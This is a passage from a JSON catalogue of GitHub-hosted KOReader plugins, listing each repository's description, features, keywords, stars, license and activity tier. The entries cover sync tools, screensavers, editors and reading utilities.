Notion database","Incremental Updates: Only new or changed highlights are synced for efficiency","Rich Formatting: Highlights are formatted into blocks including page number, chapter, date, your notes and a hidden link to the…","Rich Metadata Sync: Automatically fills in book info like authors, ISBN, reading progress, language, pages, and start date (if…","One-Click Sync: You can asign the sync as gesture (for example as corner click) to quickly sync your highlights","[ ] Improve performance: Implement caching to reduce API requests and improve sync speeds, particularly when working with a large…","[ ] Optional metadata sync: A configurable setting that lets you choose whether to populate the metadata columns, even if they…"],"keywords":["koreader-plugin","sync","highlights","notion","databases","notionsync","roadmap","setup","current","book","all","books","gesture","database","text","date","progress","columns","metadata","number","page","tools","authors","connect"],"topics":["koreader-plugin"],"stars":16,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-01-19T08:45:47Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3796,"detail":"detail/CezaryPukownik__notionsync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DenisovichDev/randomquote.koplugin","owner":"DenisovichDev","repo":"randomquote.koplugin","url":"https://github.com/DenisovichDev/randomquote.koplugin","description":"A KOReader plugin to show a random quote from all the highlighted texts of the library.","purpose":"A KOReader plugin that displays a random quote from your own highlighted texts in a small pop-up when you unlock. It extracts \\[and maintains\\] a local quote library from your highlighted texts, and provides settings to control appearance and behavior of the widget.","categories":["library"],"features":["Shows a random quote in a lightweight QuoteWidget with basic formatting (bold/\\[italic\\]/alignment)","Settings to specify appearance and library directory","Make sure the plugin is enabled (Settings Menu -> More Tools -> Plugin Management -> Make sure Random Quote is ticked)","Open KOReader → More Tools → Random Quote Options","Select Random Quote Settings provide the location to all your books, and customize the appearance of the widget","Use Extract Highlighted Texts to scan the configured book directory and add discovered highlights into the plugin's library","Try Debug: Show A Random Quote to preview a random quote immediately","The plugin shows a random quote when resumed or activated, using the configured font and appearance settings","Title: choose between the default title, no title, or enter a custom title string"],"keywords":["show","random","quote","all","highlighted","texts","library","quotes","settings","advanced","curating","troubleshooting","compatibility","book","directory","appearance","extraction","font","make","metadata","more","title","face","file"],"topics":[],"stars":16,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-23T15:07:33Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3522,"detail":"detail/DenisovichDev__randomquote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Estela-Zelin84/KOReader_Book-Receipt","owner":"Estela-Zelin84","repo":"KOReader_Book-Receipt","url":"https://github.com/Estela-Zelin84/KOReader_Book-Receipt","description":"KOReader 屏保/阅读进度插件，休眠时显示阅读小票：进度、时长、统计。支持中文与自定义背景。","purpose":"Book Receipt Screensaver 是一个为 KOReader 定制的屏保补丁，在设备休眠时自动生成一张「阅读收据」，清晰展示当前书籍的阅读进度、章节信息、剩余时间、今日阅读时长等关键数据，让阅读轨迹一目了然。","categories":["ui","device"],"features":["📊 阅读进度总览：显示书籍总进度、当前页码/总页数、章节进度","⏱️ 智能时间估算：基于阅读速度自动估算剩余阅读时间（书籍/章节）","📈 今日阅读统计：自动统计今日阅读时长，并显示星期几","🎨 可自定义背景：白色/黑色/透明/随机图片/书籍封面","🖼️ 图片放置方式：适应屏幕/拉伸/居中","🔋 设备状态：实时显示电池电量、当前时间","🎯 封面日期联动：封面左对齐，右侧显示日期（年月/日/星期），背景为「书籍封面」时自动隐藏日期","🌐 完全中文本地化：所有界面文字均为中文，符合中文用户习惯","🛡️ 稳定可靠：简洁布局，确保屏保稳定运行","💡 快捷查看：支持手势/按键随时呼出收据"],"keywords":["kindle","kobo","koreader","koreader-kindle","koreader-patch","koreader-plugin","koreader-user-patch","screensaver","2026","wednesday","paintto","widgetcontainer"],"topics":["kindle","kobo","koreader","koreader-kindle","koreader-patch","koreader-plugin","koreader-user-patch","screensaver"],"stars":16,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T02:26:23Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":6531,"detail":"detail/Estela-Zelin84__KOReader_Book-Receipt.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Craftwork2720/foldermemory.koplugin","owner":"Craftwork2720","repo":"foldermemory.koplugin","url":"https://github.com/Craftwork2720/foldermemory.koplugin","description":"FolderMemory – KOReader plugin that remembers your folder preferences","purpose":"A KOReader plugin that remembers per-folder settings and restores them automatically when you return to a folder.","categories":["misc"],"features":["Sort order (by name, date, size, etc.)","Reverse sort direction","Folders and files mixed toggle","Book status filter (new, reading, abandoned, complete, or any combination)","Display mode: classic (filenames only), mosaic (cover images or text covers), detailed list (with images, metadata, or filenames)","Items per page: mosaic grid columns × rows (portrait and landscape), list mode files per page","Auto-save — any change you make to sort, display mode, grid, or book status filter via KOReader's native menus or the Folder…","Seamless restore — settings are applied automatically when entering a folder","History, Favorites, Collections — use the Items per page from default template"],"keywords":["koreader","koreader-plugin","foldermemory","remembers","folder","preferences","does","inheritance","parent","folders","default","template","works","compatibility","settings","saved","current","mode","automatically","display","grid","menu","sort","without"],"topics":["koreader","koreader-plugin"],"stars":15,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-02T19:48:22Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3662,"detail":"detail/Craftwork2720__foldermemory.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"edoput/gotobed.koplugin","owner":"edoput","repo":"gotobed.koplugin","url":"https://github.com/edoput/gotobed.koplugin","description":"NO! GOTO BED!","purpose":"gotobed A Koreader plugin for enforcing bedtime.","categories":["misc"],"features":[],"keywords":["koreader","koreader-plugin","goto","bed"],"topics":["koreader","koreader-plugin"],"stars":15,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2024-07-28T13:40:14Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":58,"detail":"detail/edoput__gotobed.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"graphirus-prog/koreader-session-cleaner","owner":"graphirus-prog","repo":"koreader-session-cleaner","url":"https://github.com/graphirus-prog/koreader-session-cleaner","description":"KOReader plugin to inspect, filter, and safely delete suspicious reconstructed reading sessions from statistics.sqlite3.","purpose":"Session Cleaner is a standalone KOReader plugin for inspecting and cleaning suspicious reading sessions directly from KOReader's statistics database.","categories":["ui","reading","notes"],"features":["browses books with reading statistics","reconstructs sessions from raw page_stat_data rows","highlights suspicious sessions such as no-page-advance and short sessions","shows the exact raw rows that belong to each session","can delete the real underlying rows from statistics.sqlite3","can create a backup before deletion","supports multi-select deletion","uses KOReader's native menu shell for stable fullscreen navigation","includes UI scale presets","stable fullscreen native-menu rewrite"],"keywords":["koreader","koreader-plugin","lua","inspect","filter","safely","delete","suspicious","reconstructed","reading","sessions","statistics","sqlite3","session","cleaner","does","exists","safety","highlights","main","improvements","over","old","basic"],"topics":["koreader","koreader-plugin","lua"],"stars":15,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-18T12:49:16Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3446,"detail":"detail/graphirus-prog__koreader-session-cleaner.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kbarni/minfolio.koplugin","owner":"kbarni","repo":"minfolio.koplugin","url":"https://github.com/kbarni/minfolio.koplugin","description":"A native KOReader live-styled Markdown editor","purpose":"A simple, distraction-free Markdown editor and note taking app for Koreader. Minfolio turns your e-reader into a comfortable writing device: weeks of battery, a glare-free e-ink screen, and nothing on it but your words. You type in plain Markdown and watch it style itself as you go, with headings, bold, italic, code,…","categories":["ui","device"],"features":["No distractions. No browser, no notifications, no feed. Just the page","Easy on the eyes. E-ink is paper-like and readable in bright sun, with no backlight fatigue","All-day (all-week) battery. Write for hours; charge rarely","Light and pocketable. Pair a Bluetooth keyboard and you have a featherweight writing setup","Plain files you own. Everything is Markdown on disk, not locked in an app","Live styling as you type — headings, bold, *italic*, code, and lists render inline while you write","Tables — write pipe tables and edit cells directly in a rendered reader view","Tap-to-tick checkboxes — tap the box on a - [ ] line to check or uncheck it, while editing or while reading. Only the box…","Reader mode — flip from editing to a clean, fully rendered view of your document","Mindmap mode — view the same .md as a native Kindle tree, select branches, zoom, add/delete nodes, undo, reorder siblings, and…"],"keywords":["kindle","koreader","koreader-plugin","markdown-editor","productivity","native","live-styled","markdown","editor","minfolio","write","keyboard","shortcuts","config","desktop","editing","project","layout","development","sister","app","trademark","notes","edit"],"topics":["kindle","koreader","koreader-plugin","markdown-editor","productivity"],"stars":15,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-05T10:26:27Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8457,"detail":"detail/kbarni__minfolio.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yanllsama/Neo-QuickSettings-for-KOReader","owner":"yanllsama","repo":"Neo-QuickSettings-for-KOReader","url":"https://github.com/yanllsama/Neo-QuickSettings-for-KOReader","description":"A highly customizable, powerful, and visually rich quick settings panel plugin for KOReader. **Neo QuickSettings** redefines how you interact with your device by giving you full control over your shortcuts, sliders, and UI appearance.","purpose":"A highly customizable, powerful, and visually rich quick settings panel plugin for KOReader. Neo QuickSettings redefines how you interact with your device by giving you full control over your shortcuts, sliders, and UI appearance.","categories":["ui","reading"],"features":["🎨 Visual Icon Picker: No more guessing icon names! A fully visual, searchable icon picker screen lets you browse through hundreds…","⚙️ Custom Buttons (Scripts): Create, edit, and manage your own custom buttons with assigned actions. Includes a robust…","⭐ Favorite Groups: Organize your most-used actions into neat, tabbed sub-menus (Favorite Groups) to keep your quick settings…","🚀 SimpleUI Integration: Seamlessly send your favorite shortcuts directly to the SimpleUI launcher","🎚️ Advanced Sliders: Take control of your reading environment with up to 4 customizable sliders for Frontlight (Brightness) and…","🛠️ Rich Customization: Limitless UI tweaking. Hide/show specific buttons, change button labels, adjust icon scale, toggle…","koreader/plugins/","Important: Inside the downloaded package, you will find a file named neo.svg. You must copy this file and place it inside…"],"keywords":["koreader-plugin","highly","customizable","powerful","visually","rich","quick","settings","panel","neo","quicksettings","redefines","interact","device","giving","full","control","over","shortcuts","sliders","appearance","credits","acknowledgments","buttons"],"topics":["koreader-plugin"],"stars":15,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-09T12:45:48Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2781,"detail":"detail/yanllsama__Neo-QuickSettings-for-KOReader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"agaragou/errol.koplugin","owner":"agaragou","repo":"errol.koplugin","url":"https://github.com/agaragou/errol.koplugin","description":"KOReader plugin to sync highlights to Telegram & Discord. Features offline queue, background sync, and book downloader.","purpose":"Errol is a plugin for KOReader that instantly sends your book highlights (quotes) to Telegram and Discord. Designed for seamless reading, it supports offline queuing, automatic background syncing, and granular control over where your highlights go.","categories":["sync","ui","notes"],"features":["Multi-Platform Support: Send highlights to a Telegram Bot, a Discord Channel (via Webhooks with Rich Embeds), or both","Offline First: Reading on the subway or in flight mode? Errol queues your highlights and automatically sends them when you're…","Rich Metadata: Includes book title, chapter, page number (supports Stable/Print page numbers), and reading progress with every…","Book Downloader: (Telegram Only) Send book files to your bot, and download them directly to your device via the Errol menu","Customizable","Toggle platforms individually (Telegram/Discord)","Choose your preferred date & time format","Set custom Wi-Fi check intervals for autosend","Highlight Archive & Navigation: Browse all past highlights and use \"Go to Page\" to instantly jump to that location in the book…"],"keywords":["sync","highlights","telegram","discord","offline","queue","background","book","downloader","errol","highlight","sender","configuration","setup","guide","highlighting","menu","config","send","spoiler","check","copy","download","open"],"topics":[],"stars":14,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-23T10:57:30Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5121,"detail":"detail/agaragou__errol.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"cdrso/backlog.koplugin","owner":"cdrso","repo":"backlog.koplugin","url":"https://github.com/cdrso/backlog.koplugin","description":"Backlog helps KOReader remember which articles you have already read inside a magazine, anthology, newsletter, or other multi-article EPUB.","purpose":"Backlog helps KOReader remember which articles you have already read inside a magazine, anthology, newsletter, or other multi-article EPUB.","categories":["web"],"features":["magazine EPUBs","newsletter or RSS collections","anthologies of essays or short stories","research/reference EPUBs with many linked entries","any reflowable book where the table of contents is really a list of separate pieces","Article list: see all articles in the current book with read, unread, current, and saved-for-later status","Per-section counts: sectioned magazines show counts like 3/8 read for each section","Automatic read marking: when you turn past an article's last page, Backlog marks it read","Manual marking: long-press an article to mark it read/unread or save it for later","Save for later: keep a separate list of articles you want to return to"],"keywords":["epub","ereader","koreader","koreader-plugin","lua","backlog","helps","remember","which","articles","have","already","read","inside","magazine","anthology","newsletter","other","multi-article","solves","main","easiest","app","store"],"topics":["epub","ereader","koreader","koreader-plugin","lua"],"stars":14,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-22T14:49:00Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":7568,"detail":"detail/cdrso__backlog.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Estela-Zelin84/inkstain.koplugin","owner":"Estela-Zelin84","repo":"inkstain.koplugin","url":"https://github.com/Estela-Zelin84/inkstain.koplugin","description":"一个根据 KOReader 阅读统计生成 ReadTrace 风格“阅读账单”休眠壁纸的插件。","purpose":"KOReader 墨痕壁纸 是一个为 KOReader 定制的休眠屏幕壁纸插件。它会读取 KOReader 内置阅读统计数据库 `statistics.sqlite3`，生成一张 Ink Stain 风格的「墨痕账单」PNG 壁纸，并可自动设置为 KOReader 的休眠屏幕图片。","categories":["device"],"features":["📊 墨痕账单壁纸：根据阅读统计生成收据 / 账单风格休眠壁纸","🔀 多数据源支持：可选 KOReader 阅读统计、觅阅书架或两者合并","⏱️ 阅读时长统计：显示本期累计阅读时长、日均阅读时长和合计时长","📚 Top 书单展示：按本期阅读时长展示 Top 2 / Top 3 / Top 4 / Top 5 书籍","📈 每日趋势折线：显示统计周期内每日阅读时长变化","🧾 小票风格排版：包含单号、统计周期、来源、条码和底部署名","🔄 休眠前自动刷新：当前正在使用墨痕壁纸时，休眠前自动重新生成","🧹 旧图自动清理：生成新壁纸时清理插件输出目录里的旧图片","🛡️ 原生屏保保护：启用前备份 KOReader 原生屏保设置，关闭后可恢复","🏠 使用范围控制：可选择只在主页使用，避免干涉阅读界面的独立屏保设置"],"keywords":["koreader-kindle","koreader-patch","koreader-plugin","koreader-plugins","readtrace","2026","github","inkstain","screensaver","stain","i18n","wallpaper","zenui","cover","document","estela-zelin84","kindle","locales","miuread","sha256","top"],"topics":["koreader-kindle","koreader-patch","koreader-plugin","koreader-plugins"],"stars":14,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T12:58:37Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9789,"detail":"detail/Estela-Zelin84__inkstain.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"evanreichard/AnthoLume","owner":"evanreichard","repo":"AnthoLume","url":"https://github.com/evanreichard/AnthoLume","description":"Mirror for: https://gitea.va.reichard.io/evan/AnthoLume","purpose":"Screenshots • Demo Server user: demo • pass: demo AnthoLume is a Progressive Web App (PWA) that manages your EPUB documents, provides an EPUB reader, and tracks your reading activity! It also has a KOReader KOSync compatible API, and a KOReader Plugin used to sync activity from your Kindle. Some additional features…","categories":["sync","library","notes"],"features":["OPDS API Endpoint","Local / Offline Reader (via ServiceWorker)","Metadata Scraping (Thanks OpenLibrary & Google Books API)","Words / Minute (WPM) Tracking & Leaderboard (Amongst Server Users)","Add local EPUB documents","Read both local and any cached server documents","Maintains progress for all types of documents (server / local)","Uploads any progress or activity for cached server documents once the internet is accessible","_Web App / PWA_ - Session based token (7 day expiry, refresh after 6 days)","_KOSync & SyncNinja API_ - Header based - X-Auth-User & X-Auth-Key (KOSync compatibility)"],"keywords":["epub","epub-reader","epubjs","golang","koreader","koreader-plugin","koreader-sync","opds","self-hosted","mirror","https","gitea","reichard","evan","antholume","server","local","offline","kosync","api","quick","start","configuration","security"],"topics":["epub","epub-reader","epubjs","golang","koreader","koreader-plugin","koreader-sync","opds","self-hosted"],"stars":14,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-30T17:06:04Z","license":"GPL-2.0","default_branch":"master","has_meta":false,"readme_bytes":7116,"detail":"detail/evanreichard__AnthoLume.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"hashi173/truyenviet.koplugin","owner":"hashi173","repo":"truyenviet.koplugin","url":"https://github.com/hashi173/truyenviet.koplugin","description":"Plugin đọc truyenfull, truyenqq, truyendich, dualeotruyen, cbunu, hacamchicac trên koreader","purpose":"Plugin KOReader thuần Lua để tìm và đọc (phiên bản 3.0.0): Plugin tải chương về thư mục dữ liệu KOReader rồi mở bằng trình đọc có sẵn:","categories":["misc"],"features":["Truyện chữ từ truyenfull.live","Truyện tranh từ truyenqqko.com","Truyện tranh từ dualeotruyenhn.com","Truyện chữ từ truyendich.ai","Truyện tranh từ cbunu.com","Truyện tranh từ haccbl.xyz","Truyện chữ từ giatocvuongtai.com","Truyện chữ từ docln.sbs","Truyện tranh từ tve-4u.org","Truyện tranh từ dilib.vn"],"keywords":["truyenfull","truyenqq","truyendich","dualeotruyen","cbunu","hacamchicac","truy","cho","trong","tri","windows","qua","wsl","tra","parser","android","checklist","trang","danh","menu","tranh","html","truyenviet","chuy"],"topics":[],"stars":14,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-13T07:23:53Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":10393,"detail":"detail/hashi173__truyenviet.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tmfsd/KOReader-Icon-for-PocketBook-Devices","owner":"tmfsd","repo":"KOReader-Icon-for-PocketBook-Devices","url":"https://github.com/tmfsd/KOReader-Icon-for-PocketBook-Devices","description":"App icon for KOReader app on PocketBook Devices","purpose":"New icon for the KOReader app on PocketBook devices that fits the style of the current PocketBook OS. Only tested on the following devices (Firmware 6.8.xxxx and 6.10.xxxx):","categories":["ui","device"],"features":["Era Color (icons should fit the normal Era too)","Verse Pro (icons should fit the Verse Pro Color too)"],"keywords":["icons","koreader","koreader-plugin","pocketbook","app","icon","devices","color","should","verse","xxxx","era","fit","normal","too","pro"],"topics":["icons","koreader","koreader-plugin","pocketbook"],"stars":14,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-29T15:09:39Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":645,"detail":"detail/tmfsd__KOReader-Icon-for-PocketBook-Devices.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"b-/libgen-opds.koplugin","owner":"b-","repo":"libgen-opds.koplugin","url":"https://github.com/b-/libgen-opds.koplugin","description":"Control libgen-opds from within KOReader","purpose":"*Run libgen-opds server from within KOReader.* This plugin adds a menu item to start and stop the libgen-opds server in the *Network* section of the KOReader menu.","categories":["library"],"features":["The libgen-opds menu item does not appear after installation","libgen-opds stops after a moment: the checkbox uncheks itself after reopening the menu"],"keywords":["control","libgen-opds","within","easy","bundled","binary","custom","own","troubleshooting","directory","menu","after","copy","files","which","available","does","have","network","other","password","should","start","admin"],"topics":[],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2024-08-18T11:10:50Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3184,"detail":"detail/b-__libgen-opds.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"BeatrizCastex/SmartCollections","owner":"BeatrizCastex","repo":"SmartCollections","url":"https://github.com/BeatrizCastex/SmartCollections","description":"Smart Collections adds AO3-style, metadata‑driven filtering and auto‑updating “smart shelves” to KOReader’s file browser.","purpose":"Smart Collections adds AO3-style, metadata‑driven filtering and auto‑updating “smart shelves” to KOReader’s file browser.","categories":["web","library","files","content"],"features":["Filter your library by tags, authors, series, collections, reading status, and custom Calibre columns","Create “smart collections” (saved searches) that automatically stay up to date as your library changes","Browse results in a normal book list, with full metadata and summary","Optionally bind Smart Collections to gestures/hotkeys or custom toolbar buttons via Dispatcher actions","smartcollections.koplugin/","If you run KOReader from a folder","Put it in koreader/plugins/","In KOReader, go to","Tools → Plugin management and ensure Smart Collections is enabled if needed","Search menu (File browser)"],"keywords":["koreader-plugin","smart","collections","adds","ao3-style","metadata","driven","filtering","auto","updating","shelves","file","browser","where","find","sources","requirements","quick","start","basic","filter","options","tag","filters"],"topics":["koreader-plugin"],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-07T04:03:31Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":10835,"detail":"detail/BeatrizCastex__SmartCollections.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"finlater/one.koplugin","owner":"finlater","repo":"one.koplugin","url":"https://github.com/finlater/one.koplugin","description":"one koreader插件，每天只为你准备一张图片、一篇文字和一个问答。复杂世界，一个就够！","purpose":"在 KOReader 上离线阅读「ONE · 一个」（wufazhuce.com）每日更新的内容。 每天只为你准备一张图片、一篇文字和一个问答。复杂世界，一个就够！ 把整个 `one.koplugin` 目录放到 KOReader 的 `plugins/` 下，重启 KOReader。 入口挂在 顶部菜单 → 工具（Tools）标签 → ONE · 一个（书架与书内均可进入）。","categories":["misc"],"features":["SimpleUI：进入 快捷操作 新建操作，类型选择 插件 → ONE · 一个，再把该操作加入主屏幕快捷操作或底部栏。若要使用项目图标，把 icons/one-seven-days.svg 复制到 KOReader 设置目录下的…","ZenUI 底栏：进入 控件 → 按钮 → ➕ → 插件 → ONE · 一个，再将其放入底栏。插件启动时会把 one-seven-days.svg 同步到 KOReader 用户图标目录，供 ZenUI 自动匹配或手动选择。","ZenUI 主屏幕：ONE 会注册一个可选的“ONE · 最近 7 天”组件。插件不会擅自修改、添加或启用用户的 Tab/底栏配置。"],"keywords":["koreader","koreader-plugin","koreader-plugins","one","wufazhuce","simpleui","zenui","icons","one-seven-days","svg","tab"],"topics":["koreader","koreader-plugin","koreader-plugins","one","wufazhuce"],"stars":13,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T06:37:00Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2324,"detail":"detail/finlater__one.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jperon/clock.koplugin","owner":"jperon","repo":"clock.koplugin","url":"https://github.com/jperon/clock.koplugin","description":"Analog clock for https://github.com/koreader/koreader.","purpose":"Analog clock for https://github.com/koreader/koreader. To be put into `plugins` directory.","categories":["ui"],"features":[],"keywords":["analog","clock","https","github","com"],"topics":[],"stars":13,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-12-09T09:15:40Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":109,"detail":"detail/jperon__clock.koplugin.json","activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"richbeatty/burrow.koplugin","owner":"richbeatty","repo":"burrow.koplugin","url":"https://github.com/richbeatty/burrow.koplugin","description":"A library-first interface for KOReader with cover browsing, series navigation, OPDS catalogs, and reader controls.","purpose":"A library-first interface for KOReader. Burrow brings your local library, online catalogs, series navigation, and useful reader controls into one consistent, cover-forward experience.","categories":["ui","library"],"features":["Cover Grid and Cover List views","Optional automatic series folders","Rounded book, folder, and series covers with consistent sizing","Optional book, folder, and series titles under covers","Reading percentage and numbered series badges","Adjustable cover size, spacing, and grids from 1 by 1 up to 8 by 8","Flexible top bar, hero card, page indicators, and optional labels","Return to Library navigation independent of automatic series grouping","Home and Store navigation throughout the configured library folder tree","Browse OPDS catalogs in list or cover-grid views"],"keywords":["library-first","interface","cover","browsing","series","navigation","opds","catalogs","controls","burrow","library","store","reading","appearance","compatibility","updates","known","limitation","inspiration","credits","status","folder","book","optional"],"topics":[],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T12:19:20Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":6809,"detail":"detail/richbeatty__burrow.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Sirozha1337/storytellersync.koplugin","owner":"Sirozha1337","repo":"storytellersync.koplugin","url":"https://github.com/Sirozha1337/storytellersync.koplugin","description":"KOReader plugin to sync progress with Storyteller app","purpose":"A KOReader plugin for synchronizing reading progress with a Storyteller server (2.11.4+). Make sure your Storyteller server version is 2.11.4 or newer. You can check the installed version in the left sidebar under the Logo in WebUI.","categories":["sync","reading"],"features":["Keep your reading progress in sync across all your devices","Seamlessly transition between reading an ebook on KOReader and listening to the readaloud epub on Storyteller app","Easy authentication using a QR code","koreader/plugins/storytellersync.koplugin","Make sure the folder contains","main.lua","_meta.lua","StorytellerApi.lua","StorytellerAuth.lua","StorytellerBookLink.lua"],"keywords":["koreader","koreader-plugin","koreader-plugins","storyteller","koreader-sync","kosync","sync","progress","app","storytellersync","enabling","configuration","authentication","syncing","server","book","link","menu","tools","code","make","open","reading","settings"],"topics":["koreader","koreader-plugin","koreader-plugins","storyteller","koreader-sync","kosync"],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-28T07:42:14Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2894,"detail":"detail/Sirozha1337__storytellersync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"titandrive/bluetoothconfigurator.koplugin","owner":"titandrive","repo":"bluetoothconfigurator.koplugin","url":"https://github.com/titandrive/bluetoothconfigurator.koplugin","description":"Bluetooth Configurator (For Android) - Koreader Plugin","purpose":"Bluetooth Configurator is a KOReader plugin that lets you easily and intuitively map Bluetooth game controller, page turner, and hardware keyboard buttons to actions within the reader and file manager. Not only is this far easier than the official way of using keymapping, but it provides more controls than keymapping…","categories":["ai","files"],"features":["KOReader on Android (not supported on Kindle, Kobo, or other platforms)","A Bluetooth page turner, controller, or device with a hardware keyboard","Open Plugins → Bluetooth Configurator from either the file manager or the reader","Open it from the file manager to edit File Manager bindings","Open it while reading a book to edit Reader bindings","Tap Add Binding to create a new binding","Tap \"tap to set...\". The plugin will begin listening for your controller, page turner, or keyboard","Press the desired button you want to pair. The plugin will capture its keycode","Select the action you want it to trigger","Use the 🗑 icon to remove a binding"],"keywords":["koreader-plugin","koreader-plugins","koreader","koplugin","bluetooth","configurator","android","configure","page","turners","requirements","actions","file","manager","bindings","updates","controller","input","diagnostics","working","validated","devices","e-readers","controllers"],"topics":["koreader-plugin","koreader-plugins","koreader","koplugin"],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T21:43:37Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9804,"detail":"detail/titandrive__bluetoothconfigurator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ZHA30/metadata.koplugin","owner":"ZHA30","repo":"metadata.koplugin","url":"https://github.com/ZHA30/metadata.koplugin","description":"KOReader plugin for searching and applying online book metadata and covers.","purpose":"Search online book metadata from KOReader, preview the result, and apply supported metadata and cover images to local KOReader custom metadata.","categories":["ui","library","notes"],"features":["Searches book metadata from online providers","Shows detailed metadata and cover images before applying changes","Applies supported fields such as title, authors, series, language, tags, description, and identifiers","Can apply the selected cover image together with metadata","Lets you choose which providers are enabled","Searches one enabled provider at a time from the search dialog","Place the plugin directory under KOReader's plugins/ directory","Enable the plugin if your KOReader setup requires manual plugin activation","File browser action: open a book file's actions and choose Search metadata","Settings menu: More tools -> Metadata"],"keywords":["koplugin","koreader","koreader-plugin","metadata","searching","applying","online","book","covers","does","access","configuration","limits","notes","credits","upstream","search","cover","provider","apply","detail","providers","selected","books"],"topics":["koplugin","koreader","koreader-plugin","metadata"],"stars":13,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-12T08:47:24Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":5056,"detail":"detail/ZHA30__metadata.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zhouwt/pinyin.koplugin","owner":"zhouwt","repo":"pinyin.koplugin","url":"https://github.com/zhouwt/pinyin.koplugin","description":"汉字拼音标注插件 (Pinyin for KOReader)","purpose":"仿 Kindle「生字注音」功能:在中文页面每个汉字的上方叠加拼音, 并可按常用度等级控制只给较生僻的字注音。目前实测支持 EPUB / DOCX / HTML(建议使用 EPUB);其它格式未测试 可能显示不出拼音。 效果示意(每字上方叠加带声调拼音,按等级只标注较生僻字):","categories":["dict"],"features":["逐字拼音:用 crengine 取得当前页每个字的坐标,在屏幕上叠加拼音(带声调 ā á ǎ à)。","分级注音(核心):像 Kindle 生字注音一样,按汉字常用度分级(等级 1–5,可在「标注等级」菜单调节;越大注音越多;默认 3 = 生字注音)","等级 1:仅给最生僻的字注音(rank > 7000)","等级 2:较生僻的字注音(rank > 5500)","等级 3(默认):较生僻字 / 生字注音(rank > 4000)","等级 4:覆盖面更广,较常见的字也注(rank > 2500)","等级 5:全文注音,每个字都标(rank > 0)","常用度排名(rank)来自《通用规范汉字表》国家规定的字表顺序(一级→二级→三级),rank 